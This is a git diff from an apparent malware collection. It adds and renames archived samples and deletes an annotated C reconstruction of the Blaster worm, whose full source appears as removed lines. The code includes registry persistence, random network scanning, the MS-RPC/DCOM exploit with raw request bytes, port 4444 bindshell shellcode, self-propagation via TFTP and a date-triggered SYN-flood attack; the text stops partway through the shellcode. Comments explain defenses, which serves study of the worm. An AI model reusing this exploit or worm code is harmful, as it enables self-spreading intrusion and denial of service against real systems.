diff --git a/Python/Python.v1ru5.7z b/Python/Python.v1ru5.7z new file mode 100644 index 00000000..87bbe23d Binary files /dev/null and b/Python/Python.v1ru5.7z differ diff --git a/Win32/Generic Crimeware/Backdoor.Win32.Aryan.7z b/Win32/Backdoor.Win32.Aryan.7z similarity index 100% rename from Win32/Generic Crimeware/Backdoor.Win32.Aryan.7z rename to Win32/Backdoor.Win32.Aryan.7z diff --git a/Win32/Generic Crimeware/Backdoor.Win32.NytroTrojan.a.7z b/Win32/Backdoor.Win32.NytroTrojan.a.7z similarity index 100% rename from Win32/Generic Crimeware/Backdoor.Win32.NytroTrojan.a.7z rename to Win32/Backdoor.Win32.NytroTrojan.a.7z diff --git a/Win32/Generic Crimeware/Win32.Blaster.cpp b/Win32/Generic Crimeware/Win32.Blaster.cpp deleted file mode 100644 index a906d19c..00000000 --- a/Win32/Generic Crimeware/Win32.Blaster.cpp +++ /dev/null @@ -1,1351 +0,0 @@ -#include -#include /*IP_HDRINCL*/ -#include /*InternetGetConnectedState*/ -#include - -#pragma comment (lib, "ws2_32.lib") -#pragma comment (lib, "wininet.lib") -#pragma comment (lib, "advapi32.lib") - - -/* -* These strings aren't used in the worm, Buford put them here -* so that whitehat researchers would discover them. -* BUFORD: Note that both of these messages are the typical -* behavior of a teenager who recently discovered love, and -* is in the normal teenage mode of challenging authority. -*/ -const char msg1[]="I just want to say LOVE YOU SAN!!"; -const char msg2[]="billy gates why do you make this possible ?" -" Stop making money and fix your software!!"; - - -/* -* Buford probably put the worm name as a "define" at the top -* of his program so that he could change the name at any time. -* 2003-09-29: This is the string that Parson changed. -*/ -#define MSBLAST_EXE "msblast.exe" - -/* -* MS-RPC/DCOM runs over port 135. -* DEFENSE: firewalling port 135 will prevent systems from -* being exploited and will hinder the spread of this worm. -*/ -#define MSRCP_PORT_135 135 - -/* -* The TFTP protocol is defined to run on port 69. Once this -* worm breaks into a victim, it will command it to download -* the worm via TFTP. Therefore, the worms briefly runs a -* TFTP service to deliver that file. -* DEFENSE: firewalling 69/udp will prevent the worm from -* fully infected a host. -*/ -#define TFTP_PORT_69 69 - -/* -* The shell-prompt is established over port 4444. The -* exploit code (in the variable 'sc') commands the victim -* to "bind a shell" on this port. The exploit then connects -* to that port to send commands, such as TFTPing the -* msblast.exe file down and launching it. -* DEFENSE: firewalling 4444/tcp will prevent the worm from -* spreading. -*/ -#define SHELL_PORT_4444 4444 - - -/* -* A simple string to hold the current IP address -*/ -char target_ip_string[16]; - -/* -* A global variable to hold the socket for the TFTP service. -*/ -int fd_tftp_service; - -/* -* Global flag to indicate this thread is running. This -* is set when the thread starts, then is cleared when -* the thread is about to end. -* This demonstrates that Buford isn't confident with -* multi-threaded programming -- he should just check -* the thread handle. -*/ -int is_tftp_running; - -/* -* When delivering the worm file to the victim, it gets the -* name by querying itself using GetModuleFilename(). This -* makes it easier to change the filename or to launch the -* worm. */ -char msblast_filename[256+4]; - -int ClassD, ClassC, ClassB, ClassA; - -int local_class_a, local_class_b; - -int winxp1_or_win2k2; - - -ULONG WINAPI blaster_DoS_thread(LPVOID); -void blaster_spreader(); -void blaster_exploit_target(int fd, const char *victim_ip); -void blaster_send_syn_packet(int target_ip, int fd); - - -/*************************************************************** -* This is where the 'msblast.exe' program starts running -***************************************************************/ -void main(int argc, char *argv[]) -{ -WSADATA WSAData; -char myhostname[512]; -char daystring[3]; -char monthstring[3]; -HKEY hKey; -int ThreadId; -register unsigned long scan_local=0; - -/* -* Create a registry key that will cause this worm -* to run every time the system restarts. -* DEFENSE: Slammer was "memory-resident" and could -* be cleaned by simply rebooting the machine. -* Cleaning this worm requires this registry entry -* to be deleted. -*/ -RegCreateKeyEx( -/*hKey*/ HKEY_LOCAL_MACHINE, -/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\" -"CurrentVersion\\Run", -/*Reserved*/ 0, -/*lpClass*/ NULL, -/*dwOptions*/ REG_OPTION_NON_VOLATILE, -/*samDesired */ KEY_ALL_ACCESS, -/*lpSecurityAttributes*/ NULL, -/*phkResult */ &hKey, -/*lpdwDisposition */ 0); -RegSetValueExA( -hKey, -"windows auto update", -0, -REG_SZ, -MSBLAST_EXE, -50); -RegCloseKey(hKey); - - -/* -* Make sure this isn't a second infection. A common problem -* with worms is that they sometimes re-infect the same -* victim repeatedly, eventually crashing it. A crashed -* system cannot spread the worm. Therefore, worm writers -* now make sure to prevent reinfections. The way Blaster -* does this is by creating a system "global" object called -* "BILLY". If another program in the computer has already -* created "BILLY", then this instance won't run. -* DEFENSE: this implies that you can remove Blaster by -* creating a mutex named "BILLY". When the computer -* restarts, Blaster will falsely believe that it has -* already infected the system and will quit. -*/ -CreateMutexA(NULL, TRUE, "BILLY"); -if (GetLastError() == ERROR_ALREADY_EXISTS) -ExitProcess(0); - -/* -* Windows systems requires "WinSock" (the network API layer) -* to be initialized. Note that the SYNflood attack requires -* raw sockets to be initialized, which only works in -* version 2.2 of WinSock. -* BUFORD: The following initialization is needlessly -* complicated, and is typical of programmers who are unsure -* of their knowledge of sockets.. -*/ -if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 -&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0 -&& WSAStartup(1, &WSAData) != 0) -return; - -/* -* The worm needs to read itself from the disk when -* transferring to the victim. Rather than using a hard-coded -* location, it discovered the location of itself dynamically -* through this function call. This has the side effect of -* making it easier to change the name of the worm, as well -* as making it easier to launch it. -*/ -GetModuleFileNameA(NULL, msblast_filename, -sizeof(msblast_filename)); - -/* -* When the worm infects a dialup machine, every time the user -* restarts their machine, the worm's network communication -* will cause annoying 'dial' popups for the user. This will -* make them suspect their machine is infected. -* The function call below makes sure that the worm only -* starts running once the connection to the Internet -* has been established and not before. -* BUFORD: I think Buford tested out his code on a machine -* and discovered this problem. Even though much of the -* code indicates he didn't spend much time on -* testing his worm, this line indicates that he did -* at least a little bit of testing. -*/ -while (!InternetGetConnectedState(&ThreadId, 0)) -Sleep (20000); /*wait 20 seconds and try again */ - -/* -* Initialize the low-order byte of target IP address to 0. -*/ -ClassD = 0; - -/* -* The worm must make decisions "randomly": each worm must -* choose different systems to infect. In order to make -* random choices, the programmer must "seed" the random -* number generator. The typical way to do this is by -* seeding it with the current timestamp. -* BUFORD: Later in this code you'll find that Buford calls -* 'srand()' many times to reseed. This is largely -* unnecessary, and again indicates that Buford is not -* confident in his programming skills, so he constantly -* reseeds the generator in order to make extra sure he -* has gotten it right. -*/ -srand(GetTickCount()); - -/* -* This initializes the "local" network to some random -* value. The code below will attempt to figure out what -* the true local network is -- but just in case it fails, -* the initialization fails, using random values makes sure -* the worm won't do something stupid, such as scan the -* network around 0.0.0.0 -*/ -local_class_a = (rand() % 254)+1; -local_class_b = (rand() % 254)+1; - -/* -* This discovers the local IP address used currently by this -* victim machine. Blaster randomly chooses to either infect -* just the local ClassB network, or some other network, -* therefore it needs to know the local network. -* BUFORD: The worm writer uses a complex way to print out -* the IP address into a string, then parse it back again -* to a number. This demonstrates that Buford is fairly -* new to C programming: he thinks in terms of the printed -* representation of the IP address rather than in its -* binary form. -*/ -if (gethostname(myhostname, sizeof(myhostname)) != -1) { -HOSTENT *p_hostent = gethostbyname(myhostname); - -if (p_hostent != NULL && p_hostent->h_addr != NULL) { -struct in_addr in; -const char *p_addr_item; - -memcpy(&in, p_hostent->h_addr, sizeof(in)); -sprintf(myhostname, "%s", inet_ntoa(in)); - -p_addr_item = strtok(myhostname, "."); -ClassA = atoi(p_addr_item); - -p_addr_item = strtok(0, "."); -ClassB = atoi(p_addr_item); - -p_addr_item = strtok(0, "."); -ClassC = atoi(p_addr_item); - -if (ClassC > 20) { -/* When starting from victim's address range, -* try to start a little bit behind. This is -* important because the scanning logic only -* move forward. */ -srand(GetTickCount()); -ClassC -= (rand() % 20); -} -local_class_a = ClassA; -local_class_b = ClassB; -scan_local = TRUE; -} -} - - -/* -* This chooses whether Blaster will scan just the local -* network (40% chance) or a random network (60% chance) -*/ -srand(GetTickCount()); -if ((rand() % 20) < 12) -scan_local = FALSE; - -/* -* The known exploits require the hacker to indicate whether -* the victim is WinXP or Win2k. The worm has to guess. The -* way it guesses is that it chooses randomly. 80% of the time -* it will assume that all victims are WinXP, and 20% of the -* time it will assume all victims are Win2k. This means that -* propogation among Win2k machines will be slowed down by -* the fact Win2k machines are getting DoSed faster than they -* are getting exploited. -*/ -winxp1_or_win2k2 = 1; -if ((rand()%10) > 7) -winxp1_or_win2k2 = 2; - -/* -* If not scanning locally, then choose a random IP address -* to start with. -* BUG: this worm choose bad ranges above 224. This will -* cause a bunch of unnecessary multicast traffic. Weird -* multicast traffic has historically been an easy way of -* detecting worm activity. -*/ -if (!scan_local) { -ClassA = (rand() % 254)+1; -ClassB = (rand() % 254); -ClassC = (rand() % 254); -} - - -/* -* Check the date so that when in the certain range, it will -* trigger a DoS attack against Micosoft. The following -* times will trigger the DoS attack: -* Aug 16 through Aug 31 -* Spt 16 through Spt 30 -* Oct 16 through Oct 31 -* Nov 16 through Nov 30 -* Dec 16 through Dec 31 -* This applies to all years, and is based on local time. -* FAQ: The worm is based on "local", not "global" time. -* That means the DoS attack will start from Japan, -* then Asia, then Europe, then the United States as the -* time moves across the globe. -*/ -#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT) -#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT) -GetDateFormat( LOCALE_409, -0, -NULL, /*localtime, not GMT*/ -"d", -daystring, -sizeof(daystring)); -GetDateFormat( LOCALE_409, -0, -NULL, /*localtime, not GMT*/ -"M", -monthstring, -sizeof(monthstring)); -if (atoi(daystring) > 15 && atoi(monthstring) > 8) -CreateThread(NULL, 0, -blaster_DoS_thread, -0, 0, &ThreadId); - -/* -* As the final task of the program, go into worm mode -* trying to infect systems. -*/ -for (;;) -blaster_spreader(); - -/* -* It'll never reach this point, but in theory, you need a -* WSACleanup() after a WSAStartup(). -*/ -WSACleanup(); -} - - - -/* -* This will be called from CreateThread in the main worm body -* right after it connects to port 4444. After the thread is -* started, it then sends the string " -* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents -* the IP address of the attacker). -* Once it sends the string, it then waits for 20 seconds for the -* TFTP server to end. If the TFTP server doesn't end, it calls -* TerminateThread. -*/ -DWORD WINAPI blaster_tftp_thread(LPVOID p) -{ -/* -* This is the protocol format of a TFTP packet. This isn't -* used in the code -- I just provide it here for reference -*/ -struct TFTP_Packet -{ -short opcode; -short block_id; -char data[512]; -}; - -char reqbuf[512]; /* request packet buffer */ -struct sockaddr_in server; /* server-side port number */ -struct sockaddr_in client; /* client IP address and port */ -int sizeof_client; /* size of the client structure*/ -char rspbuf[512]; /* response packet */ - -static int fd; /* the socket for the server*/ -register FILE *fp; -register block_id; -register int block_size; - -/* Set a flag indicating this thread is running. The other -* thread will check this for 20 seconds to see if the TFTP -* service is still alive. If this thread is still alive in -* 20 seconds, it will be killed. -*/ -is_tftp_running = TRUE; /*1 == TRUE*/ - -/* Create a server-socket to listen for UDP requests on */ -fd = socket(AF_INET, SOCK_DGRAM, 0); -if (fd == SOCKET_ERROR) -goto closesocket_and_exit; - -/* Bind the socket to 69/udp */ -memset(&server, 0, sizeof(server)); -server.sin_family = AF_INET; -server.sin_port = htons(TFTP_PORT_69); -server.sin_addr.s_addr = 0; /*TFTP server addr = */ -if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0) -goto closesocket_and_exit; - -/* Receive a packet, any packet. The contents of the received -* packet are ignored. This means, BTW, that a defensive -* "worm-kill" could send a packet from somewhere else. This -* will cause the TFTP server to download the msblast.exe -* file to the wrong location, preventing the victim from -* doing the download. */ -sizeof_client = sizeof(client); -if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0, -(struct sockaddr*)&client, &sizeof_client) <= 0) -goto closesocket_and_exit; - -/* The TFTP server will respond with many 512 byte blocks -* until it has completely sent the file; each block must -* have a unique ID, and each block must be acknowledged. -* BUFORD: The worm ignores TFTP ACKs. This is probably why -* the worm restarts the TFTP service rather than leaving it -* enabled: it essentially flushes all the ACKs from the -* the incoming packet queue. If the ACKs aren't flushed, -* the worm will incorrectly treat them as TFTP requests. -*/ -block_id = 0; - -/* Open this file. GetModuleFilename was used to figure out -* this filename. */ -fp = fopen(msblast_filename, "rb"); -if (fp == NULL) -goto closesocket_and_exit; - -/* Continue sending file fragments until none are left */ -for (;;) { -block_id++; - -/* Build TFTP header */ -#define TFTP_OPCODE_DATA 3 -*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA); -*(short*)(rspbuf+2)= htons((short)block_id); - -/* Read next block of data (about 12 blocks total need -* to be read) */ -block_size = fread(rspbuf+4, 1, 512, fp); - -/* Increase the effective length to include the TFTP -* head built above */ -block_size += 4; - -/* Send this block */ -if (sendto(fd, (char*)&rspbuf, block_size, -0, (struct sockaddr*)&client, sizeof_client) <= 0) -break; - -/* Sleep for a bit. -* The reason for this is because the worm doesn't care -* about retransmits -- it therefore must send these -* packets slow enough so congestion doesn't drop them. -* If it misses a packet, then it will DoS the victim -* without actually infecting it. Worse: the intended -* victim will continue to send packets, preventing the -* worm from infecting new systems because the -* requests will misdirect TFTP. This design is very -* bad, and is my bet as the biggest single factor -* that slows down the worm. */ -Sleep(900); - -/* File transfer ends when the last block is read, which -* will likely be smaller than a full-sized block*/ -if (block_size != sizeof(rspbuf)) { -fclose(fp); -fp = NULL; -break; -} -} - -if (fp != NULL) -fclose(fp); - -closesocket_and_exit: - -/* Notify that the thread has stopped, so that the waiting -* thread can continue on */ -is_tftp_running = FALSE; -closesocket(fd); -ExitThread(0); - -return 0; -} - - - - -/* -* This function increments the IP address. -* BUFORD: This conversion from numbers, to strings, then back -* to number is overly complicated. Experienced programmers -* would simply store the number and increment it. This shows -* that Buford does not have much experience work with -* IP addresses. -*/ -void blaster_increment_ip_address() -{ -for (;;) { -if (ClassD <= 254) { -ClassD++; -return; -} - -ClassD = 0; -ClassC++; -if (ClassC <= 254) -return; -ClassC = 0; -ClassB++; -if (ClassB <= 254) -return; -ClassB = 0; -ClassA++; -if (ClassA <= 254) -continue; -ClassA = 0; -return; -} -} - - -/* -* This is called from the main() function in an -* infinite loop. It scans the next 20 addresses, -* then exits. -*/ -void blaster_spreader() -{ -fd_set writefds; - -register int i; -struct sockaddr_in sin; -struct sockaddr_in peer; -int sizeof_peer; -int sockarray[20]; -int opt = 1; -const char *victim_ip; - -/* Create the beginnings of a "socket-address" structure that -* will be used repeatedly below on the 'connect()' call for -* each socket. This structure specified port 135, which is -* the port used for RPC/DCOM. */ -memset(&sin, 0, sizeof(sin)); -sin.sin_family = AF_INET; -sin.sin_port = htons(MSRCP_PORT_135); - -/* Create an array of 20 socket descriptors */ -for (i=0; i<20; i++) { -sockarray[i] = socket(AF_INET, SOCK_STREAM, 0); -if (sockarray[i] == -1) -return; -ioctlsocket(sockarray[i], FIONBIO , &opt); -} - -/* Initiate a "non-blocking" connection on all 20 sockets -* that were created above. -* FAQ: Essentially, this means that the worm has 20 -* "threads" -- even though they aren't true threads. -*/ -for (i=0; i<20; i++) { -int ip; - -blaster_increment_ip_address(); -sprintf(target_ip_string, "%i.%i.%i.%i", -ClassA, ClassB, ClassC, ClassD); - -ip = inet_addr(target_ip_string); -if (ip == -1) -return; -sin.sin_addr.s_addr = ip; -connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin)); -} - -/* Wait 1.8-seconds for a connection. -* BUG: this is often not enough, especially when a packet -* is lost due to congestion. A small timeout actually makes -* the worm slower than faster */ -Sleep(1800); - -/* Now test to see which of those 20 connections succeeded. -* BUFORD: a more experienced programmer would have done -* a single 'select()' across all sockets rather than -* repeated calls for each socket. */ -for (i=0; i<20; i++) { -struct timeval timeout; -int nfds; - -timeout.tv_sec = 0; -timeout.tv_usec = 0; -nfds = 0; - -FD_ZERO(&writefds); -FD_SET((unsigned)sockarray[i], &writefds); - -if (select(0, NULL, &writefds, NULL, &timeout) != 1) { -closesocket(sockarray[i]); -} else { -sizeof_peer = sizeof(peer); -getpeername(sockarray[i], -(struct sockaddr*)&peer, &sizeof_peer); -victim_ip = inet_ntoa(peer.sin_addr); - -/* If connection succeeds, exploit the victim */ -blaster_exploit_target(sockarray[i], victim_ip); -closesocket(sockarray[i]); -} -} - -} - -/* -* This is where the victim is actually exploited. It is the same -* exploit as created by xfocus and altered by HDMoore. -* There are a couple of differences. The first is that the in -* those older exploits, this function itself would create the -* socket and connect, whereas in Blaster, the socket is already -* connected to the victim via the scanning function above. The -* second difference is that the packets/shellcode blocks are -* declared as stack variables rather than as static globals. -* Finally, whereas the older exploits give the hacker a -* "shell prompt", this one automates usage of the shell-prompt -* to tell the victim to TFTP the worm down and run it. -*/ -void blaster_exploit_target(int sock, const char *victim_ip) -{ - -/* These blocks of data are just the same ones copied from the -* xfocus exploit prototype. Whereas the original exploit -* declared these as "static" variables, Blaster declares -* these as "stack" variables. This is because the xfocus -* exploit altered them -- they must be reset back to their -* original values every time. */ -unsigned char bindstr[]={ -0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, - -0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, - -0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, -0x00,0x00,0x00,0x00, -0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, -0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; - - - -unsigned char request1[]={ -0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 -,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 - -,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 - -,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E - -,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D - -,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 - -,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 - -,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 - -,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 - -,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 - -,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 - -,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 - -,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 - -,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 - -,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF - -,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 - -,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 - -,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 - -,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 - -,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 - -,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 - -,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 - -,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 - -,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 - -,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E - -,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 - -,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 - -,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 - -,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 - -,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 - -,0x00,0x00,0x00,0x00,0x00,0x00}; - -unsigned char request2[]={ -0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 -,0x00,0x00,0x5C,0x00,0x5C,0x00}; - -unsigned char request3[]={ -0x5C,0x00 -,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 - -,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 - -,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 - -,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; - - -unsigned char sc[]= -"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" -"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" -"\x46\x00\x58\x00\x46\x00\x58\x00" - -"\xff\xff\xff\xff" /* return address */ - -"\xcc\xe0\xfd\x7f" /* primary thread data block */ -"\xcc\xe0\xfd\x7f" /* primary thread data block */ - -/* port 4444 bindshell */ -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" -"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" -"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" -"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" -"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" -"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" -"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" -"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" -"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" -"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" -"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" -"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" -"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" -"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" -"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" -"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" -"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" -"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" -"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" -"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" -"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" 